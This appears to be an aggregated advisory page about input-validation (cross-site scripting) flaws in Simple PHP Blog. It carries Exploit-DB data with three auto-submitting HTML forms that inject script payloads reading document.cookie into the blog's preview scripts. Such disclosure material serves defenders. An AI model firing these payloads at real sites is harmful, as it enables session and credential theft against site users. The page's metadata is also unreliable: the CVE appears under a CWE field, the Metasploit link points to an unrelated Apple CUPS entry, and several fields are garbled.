Multiple Input Validation Vulnerabilities in Simple PHP Blog

vendor:

Simple PHP Blog

by:

Unknown

5.5

CVSS

MEDIUM

Input Validation

CWE

Product Name: Simple PHP Blog

Affected Version From: All versions of Simple PHP Blog

Affected Version To: All versions of Simple PHP Blog

Patch Exists: NO

Related CWE: CVE-2005-2525

CPE: a:simple_php_blog:simple_php_blog

Metasploit: https://www.rapid7.com/db/vulnerabilities/apple-osx-cups-cve-2005-2525/

Other Scripts:

Platforms Tested:

2005

Multiple Input Validation Vulnerabilities in Simple PHP Blog

The Simple PHP Blog application is prone to multiple input validation vulnerabilities. These vulnerabilities occur due to a lack of proper sanitization of user-supplied input. An attacker can exploit these vulnerabilities to execute arbitrary script code in the browser of a victim user, potentially leading to the theft of authentication credentials and other attacks.

Mitigation:

To mitigate these vulnerabilities, it is recommended to sanitize all user-supplied input before using it in any context. This can be done by implementing proper input validation and filtering mechanisms.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/15283/info

Simple PHP Blog is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

<form action="http://your-server/path-to-sphpblog/preview_cgi.php" method="post">
<input name="blog_subject" value='"><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://your-server/path-to-sphpblog/preview_cgi.php" method="post">
<input name="blog_text" value='</textarea><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">
<input name="blog_subject" value='"><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>